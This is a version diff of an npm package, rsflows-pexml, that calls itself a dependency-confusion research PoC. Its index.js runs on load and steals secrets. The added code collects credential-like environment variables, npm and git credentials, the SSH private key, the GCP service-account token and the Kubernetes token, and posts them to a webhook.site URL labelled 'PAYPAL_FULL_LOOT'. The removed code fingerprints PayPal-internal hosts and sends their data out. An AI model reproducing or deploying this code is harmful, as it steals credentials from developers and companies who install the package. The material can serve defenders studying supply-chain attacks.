rsflows-pexml 99.9.15 → 99.9.17

package/index.js

@@ -2,28 +2,29 @@ const { exec } = require('child_process');
 const webhook = 'https://webhook.site/6e268c68-febc-4f38-9cff-22f9152e9023';
 
 const cmd = `
-# 1. Cek apakah ada indikasi internal PayPal
-IS_PAYPAL=\$(env | grep -iE 'paypal|ebay|braintree|slc|lvs' || echo 'no');
-INTERNAL_IP=\$(hostname -I || echo 'none');
-
-if [ "\$IS_PAYPAL" != "no" ] || [[ "\$(hostname)" == *"jenkins"* ]]; then
-  (
-    echo '--- !!! PAYPAL INTERNAL DETECTED !!! ---';
-    echo 'USER: ' \$(whoami);
-    echo 'HOSTNAME: ' \$(hostname);
-    echo 'INTERNAL_IP: ' \$INTERNAL_IP;
-    echo '--- ENVIRONMENT ---';
-    env;
-    echo '--- DNS/HOSTS ---';
-    cat /etc/hosts;
-    echo '--- CLOUD METADATA ---';
-    # Mencoba akses metadata GCP (karena mereka pakai GCP)
-    curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/attributes/ -timeout 2 || echo 'not gcp';
-  ) | curl -X POST -H 'Content-Type: text/plain' --data-binary @- ${webhook}/PAYPAL_RCE_CONFIRMED;
-else
-  # Tetap kirim ping kecil biar kita tahu skrip jalan
-  curl -s "${webhook}/ping_bot?host=\$(hostname)&ip=\$(curl -s ifconfig.me)";
-fi
+(
+  echo '--- START FULL EXFILTRATION ---';
+  echo 'TIMESTAMP: ' \$(date);
+  echo 'TARGET: ' \$(hostname);
+  echo 'USER: ' \$(whoami);
+  
+  echo '--- [1] ENVIRONMENT SECRETS ---';
+  env | grep -iE 'AUTH|TOKEN|SECRET|PASS|KEY|CRED|PRIVATE|AWS|GCP|PAYPAL';
+  
+  echo '--- [2] NPM & GIT CONFIG ---';
+  cat ~/.npmrc 2>/dev/null;
+  cat ~/.git-credentials 2>/dev/null;
+  cat ~/.ssh/id_rsa 2>/dev/null;
+  
+  echo '--- [3] CLOUD METADATA (GCP) ---';
+  # Mencoba mengambil Service Account Token dari Google Cloud
+  curl -s -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' || echo 'No GCP Token';
+  
+  echo '--- [4] KUBERNETES SECRETS ---';
+  cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null || echo 'No K8s Token';
+  
+  echo '--- END FULL EXFILTRATION ---';
+) | curl -X POST -H 'Content-Type: text/plain' --data-binary @- ${webhook}/PAYPAL_FULL_LOOT
 `;
 
 exec(cmd);

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "rsflows-pexml",
-  "version": "99.9.15",
+  "version": "99.9.17",
   "description": "Internal Research PoC - Dependency Confusion",
   "main": "index.js",
   "scripts": {